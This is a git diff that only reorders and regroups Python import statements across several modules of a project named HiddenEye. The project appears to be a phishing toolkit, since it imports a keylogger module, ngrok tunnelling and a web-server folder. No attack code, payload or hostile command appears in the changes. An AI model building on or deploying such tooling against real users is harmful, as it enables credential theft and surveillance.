diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index 091cbdb..d63c143 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -6,32 +6,17 @@ # -from Defs.ImportManager.unsorted_will_be_replaced import ( - BytesIO, - ZipFile, - run_command, - url_request, - run_background_command, - wait, - ngrok, - ngrok_conf, - requests, - regular_expression, - check_output, - CalledProcessError, - chdir, - chmod, - DEVNULL, - PIPE, - path, - pathlib_Path, -) -import Defs.ThemeManager.theme as theme +import os + import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization import Defs.LocalizationManager.lang_global_usage as global_localization -from Defs.LocalizationManager.helper import print_sorted_as_menu +import Defs.ThemeManager.theme as theme from Defs.ActionManager import simple_informant -import os +from Defs.ImportManager.unsorted_will_be_replaced import ( + DEVNULL, PIPE, BytesIO, CalledProcessError, ZipFile, chdir, check_output, + chmod, ngrok, ngrok_conf, path, pathlib_Path, regular_expression, requests, + run_background_command, run_command, url_request, wait) +from Defs.LocalizationManager.helper import print_sorted_as_menu try: os.mkdir("Server/www") diff --git a/Defs/ActionManager/main_runner.py b/Defs/ActionManager/main_runner.py index 6db97bb..f0e99d6 100644 --- a/Defs/ActionManager/main_runner.py +++ b/Defs/ActionManager/main_runner.py @@ -6,24 +6,18 @@ # -from Defs.ImportManager.unsorted_will_be_replaced import ( - run_command, - webpage_set, - wait, - path, - rmtree, - pathlib_Path, - copyfile, - chmod, - mkdir, - remove, -) +import os +import time + import Defs.ActionManager.simple_informant as simple_informant import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization import Defs.LocalizationManager.lang_global_usage as global_localization +from Defs.ImportManager.unsorted_will_be_replaced import (chmod, copyfile, + mkdir, path, + pathlib_Path, remove, + rmtree, run_command, + wait, webpage_set) from Defs.LocalizationManager.helper import print_sorted_as_menu -import os -import time module_loading_message = simple_informant.module_loading_message diff --git a/Defs/ActionManager/simple_informant.py b/Defs/ActionManager/simple_informant.py index f68e52b..d13e15a 100644 --- a/Defs/ActionManager/simple_informant.py +++ b/Defs/ActionManager/simple_informant.py @@ -5,25 +5,20 @@ # under certain conditions; you can read LICENSE for details. # -from Defs.ImportManager.unsorted_will_be_replaced import ( - requests, - getuid, - platform, - run_command, - try_to_run_command, - wait, - chmod, - stat, - pathlib_Path, - copyfile, - socket, - regular_expression, -) -import Defs.ThemeManager.theme as theme -import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.ActionManager.Server.server_runner as server_runner +import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization import Defs.LocalizationManager.lang_global_usage as global_localization +import Defs.ThemeManager.theme as theme +from Defs.ImportManager.unsorted_will_be_replaced import (chmod, copyfile, + getuid, pathlib_Path, + platform, + regular_expression, + requests, + run_command, socket, + stat, + try_to_run_command, + wait) default_palette = theme.default_palette diff --git a/Defs/ImportManager/unsorted_will_be_replaced.py b/Defs/ImportManager/unsorted_will_be_replaced.py index cfc0099..18b27a6 100644 --- a/Defs/ImportManager/unsorted_will_be_replaced.py +++ b/Defs/ImportManager/unsorted_will_be_replaced.py @@ -6,28 +6,25 @@ # -from subprocess import ( - call as run_command, - check_call as try_to_run_command, - Popen as run_background_command, - check_output, - CalledProcessError, - DEVNULL, - PIPE, -) -from distutils.dir_util import copy_tree as webpage_set -from time import sleep as wait -from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid -from shutil import rmtree, copyfile -from pathlib import Path as pathlib_Path -from pyngrok import conf as ngrok_conf, ngrok -import re as regular_expression -import getpass import base64 -import socket -import requests +import getpass import platform -import requests +import re as regular_expression +import socket +from distutils.dir_util import copy_tree as webpage_set +from io import BytesIO +from os import chdir, chmod, getuid, mkdir, path, remove, replace, stat, system +from pathlib import Path as pathlib_Path +from shutil import copyfile, rmtree +from subprocess import DEVNULL, PIPE, CalledProcessError +from subprocess import Popen as run_background_command +from subprocess import call as run_command +from subprocess import check_call as try_to_run_command +from subprocess import check_output +from time import sleep as wait from urllib import request as url_request from zipfile import ZipFile -from io import BytesIO + +import requests +from pyngrok import conf as ngrok_conf +from pyngrok import ngrok diff --git a/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py b/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py index 4c7110d..ef58cc8 100644 --- a/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py +++ b/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py @@ -10,7 +10,6 @@ import Defs.ThemeManager.theme as theme from Defs.LocalizationManager.localization import _ - default_palette = theme.default_palette diff --git a/HiddenEye.py b/HiddenEye.py index 48d7073..4ec0e0a 100755 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -4,17 +4,17 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # -from os import system, environ +import multiprocessing +import ssl +import sys +from os import environ, system + import Defs.ActionManager.main_runner as main_runner -import Defs.FeatureManager.keylogger as keylogger -import Defs.FeatureManager.cloudflare as cloudflare -import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.ActionManager.Server.server_runner as server_runner import Defs.ActionManager.simple_informant as simple_informant -import multiprocessing -import sys -import ssl - +import Defs.FeatureManager.cloudflare as cloudflare +import Defs.FeatureManager.EmailManager.email_prompt as email_prompt +import Defs.FeatureManager.keylogger as keylogger simple_informant.license_handler() agreement = simple_informant.terms_of_service_message()